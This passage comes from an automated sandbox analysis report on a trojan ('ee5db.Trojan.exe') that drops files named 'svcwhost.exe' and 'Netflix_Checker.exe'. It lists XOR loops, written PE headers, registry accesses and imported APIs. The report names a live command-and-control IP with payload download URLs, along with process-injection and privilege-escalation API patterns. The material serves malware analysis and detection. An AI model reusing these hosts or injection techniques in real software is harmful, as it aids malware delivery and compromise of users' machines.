"svcwhost.exe" at offset 248820; code bytes = 33c1 Found XOR loop in file "svcwhost.exe" at offset 299361; code bytes = 33c1 Found XOR loop in file "svcwhost.exe" at offset 79335; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 380800; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 446557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 447949; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 996327; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 997033; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 17929; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 19660; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 261784; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 395828; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 395964; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 446505; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 994829; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 226479; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 494844; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 502469; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 503129; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 795341; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 886934; code bytes = 80303b:T476,"ee5db.Trojan.exe" wrote 2048 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\svcwhost.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ee5db.Trojan.exe" wrote 19968 bytes starting with PE header signature to file "C:\Netflix_Checker.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svcwhost.exe" wrote 2048 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\TH7A53.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...3c:T171d,Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Heuristic match: "extreme.net" Pattern match: "http://176.111.174.140/api/update32.pack" Pattern match: "http://176.111.174.140/api/update.pack" Pattern match: "http://176.111.174.140/api/update2.pack" Pattern match: "https://176.111.174.140/event.php" Pattern match: "http://176.111.174.140/event.php" Pattern match: "www.malwarebytes.com" Heuristic match: "en.malwarebytes.com" Heuristic match: "fr.malwarebytes.com" Heuristic match: "es.malwarebytes.com" Pattern match: "www.avast.com" Pattern match: "www.avg.com" Pattern match: "www.avira.com" Pattern match: "www.360totalsecurity.com" Pattern match: "www.bitdefender.com" Pattern match: "www.eset.com" Pattern match: "www.norton.com" Pattern match: "www.mcafee.com" Pattern match: "www.comodo.com" Pattern match: "www.virustotal.com" Heuristic match: "icanhazip.com" Heuristic match: "api.mylnikov.org" Heuristic match: "api.telegram.org" Heuristic match: "pastebin.com" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "icrosoft.visualstudio.tools.office.runtime.int" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315#withcomments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#withcomments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/tr/1999/rec-xpath-19991116" Pattern match: "http://www.w3.org/tr/1999/rec-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#xml" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://schemas.microsoft.com/.netconfiguration/v2.0" Pattern match: "system.web/anonymousidentification" Pattern match: "system.web/authentication" Pattern match: "system.web/authorization" Pattern match: "system.web/browsercaps" Pattern match: "system.web/clienttarget" Pattern match: "system.web/compilation" Pattern match: "system.web/customerrors" Pattern match: "system.web/deployment" Pattern match: "system.web/devicefilters" Pattern match: "system.web/fulltrustassemblies" Pattern match: "system.web/globalization" Pattern match: "system.web/healthmonitoring" Pattern match: "system.web/hostingenvironment" Pattern match: "system.web/httpcookies" Pattern match: "system.web/httphandlers" Pattern match: "system.web/httpmodules" Pattern match: "system.web/httpruntime" Pattern match: "system.web/identity" Pattern match: "system.web/machinekey" Pattern match: "system.web/membership" Pattern match: "system.web/mobilecontrols" Pattern match: "system.web/pages" Pattern match: "system.web/partialtrustvisibleassemblies" Pattern match: "system.web/processmodel" Pattern match: "system.web/profile" Pattern match: "system.web/protocols" Pattern match: "system.web/rolemanager" Pattern match: "system.web/securitypolicy" Pattern match: "system.web/sessionpagestate" Pattern match: "system.web/sessionstate" Pattern match: "system.web/sitemap" Pattern match: "system.web/trace" Pattern match: "system.web/trust" Pattern match: "system.web/urlmappings" Pattern match: "system.web/webcontrols" Pattern match: "system.web/webparts" Pattern match: "system.web/webservices" Pattern match: "system.web/xhtmlconformance" Pattern match: "system.web/caching" Pattern match: "system.web/caching/cache" Pattern match: "system.web/caching/outputcache" Pattern match: "system.web/caching/outputcachesettings" Pattern match: "system.web/caching/sqlcachedependency"3d:T18dd,"ee5db.Trojan.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004344) "svcwhost.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005968) "svcwhost.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005968) "Netflix_Checker.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000018000000ddd74384932fb772c0ff4e00687d157668ef4f00705fb772591bb5f6feffffff84ee4f00e248b67228ee4f000000fb7320ef4f00fb48b672e0dfe07608000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff3400000000000000b0ee4f000000000008000000000000000000000000000000000000000000000000000000c5d7438400000000f0ee4f0069920e74ffffffff34000000b0ee4f0008000000000000000000fb7320ef4f0027940e74b8ee4f000b0000000000000008ef4f00 (UID: 00000000-00006396) "Netflix_Checker.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006396) "Netflix_Checker.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006396) "Netflix_Checker.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000d8cc4f007ccc4f00226e777400008104000000002d6e77741b8d66052d000000ecb7b77400cd4f0000001d00b018720218d171020e0000008000000040cc4f0000001d00c4cc4f0070c878749f305471feffffff2d000000d0ccc6742700000094cc4f00856a79741c237e74d4cc4f00f85f797408000000bb697874b2697874b38d66052d000000ecb7b77427000000d0ccc674a8cc4f002d000000d0ccc67427000000d8cc4f00856a79741c237e7420cd4f007e8ac574ee8cc574738ac5746c4a96142d000000ecb7b77427000000d0ccc6746c288104002881046c4a9614e8cc4f00fc520375d4cd4f00e084c5747476d861feffffff738ac574 (UID: 00000000-00006396) "Netflix_Checker.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000172187d017200000000d0a99e7400009774901198747019710200b76b02d8847202f0e24f00feffffff98e54f00506a0e7797914517feffffffb0e34f00eaa90a777019710200000000d8847202a11400000a000b00b29701725c76017268760172d88472021857720214000000000000000000000070197102d8e34f00cc2d0f77d884720200000000e484720200000000f800fa7100000000cc0d24385ce80d7768400c772403000019000000110000001000000090bb6a0210e44f008d9aa07300b86a022c9d72020000000030e44f007c056a022c9d720248e44f000000fa71feffffff0400000020afa07300000000000000000300000038e44f00 (UID: 00000000-00006396)3e:T597,"ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")3f:T40b,Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00006016.00000000.82441.01120000.00000002.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00006016.00000001.82692.00480000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00006016.00000001.82692.00480000.00000004.mdmp") Found reference to API "To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00006016.00000001.82692.01D20000.00000004.mdmp") Found reference to API "Note: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00006016.00000001.82692.01D20000.00000004.mdmp")40:T553,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp")41:T41f4,Found reference to API (Indicator: "HeapSize"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetLastError"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "HeapFree"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetStdHandle"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "ReadFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FreeLibrary"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "HeapAlloc"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "EncodePointer"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "TlsAlloc"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlUnwind"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetProcAddress"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetStdHandle"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LCMapStringW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RaiseException"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetCPInfo"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "TlsFree"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FindNextFileW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "WriteFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CloseHandle"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "IsValidLocale"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetACP"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "DecodePointer"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetOEMCP"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "TerminateProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "TlsGetValue"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetLastError"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateFileW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateProcessW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FindClose"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Sleep"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetFileType"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "TlsSetValue"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "ExitProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LCMapStringEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SHGetFolderPathW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FlsAlloc"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FlsFree"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FlsGetValue"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FlsSetValue"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CompareStringEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetDateFormatEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetTimeFormatEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "IsValidLocaleName"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LCIDToLocaleName"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LocaleNameToLCID"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "MessageBoxW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetLastActivePopup"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetProcessWindowStation"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateFile2"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateProcessInternalW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlCreateProcessParametersEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtCreateProcessEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtCreateThreadEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtQueryInformationFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtQuerySystemInformation"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtSuspendProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtResumeProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SeDebugPrivilege"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtWriteFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtMapViewOfSection"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlInitUnicodeString"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtSetInformationFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtClose"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtOpenFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtCreateSection"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlAdjustPrivilege"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "NtSetInformationProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "wsprintfA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "PathFindFileNameW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetUserNameW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RegCloseKey"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RegSetValueExW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InternetOpenW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "HttpQueryInfoA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InternetOpenUrlW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InternetReadFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InternetCloseHandle"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SHGetFolderPathA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetThreadContext"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetTempFileNameW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetFileSize"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetThreadContext"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetFilePointer"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "OpenProcess"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetTempPathW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "VirtualAllocEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Wow64SetThreadContext"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "WriteProcessMemory"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "ResumeThread"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Wow64GetThreadContext"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateThread"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Process32First"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateRemoteThread"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Process32Next"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "VirtualProtectEx"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CompareFileTime"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "VirtualFree"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetProcessTimes"; File: 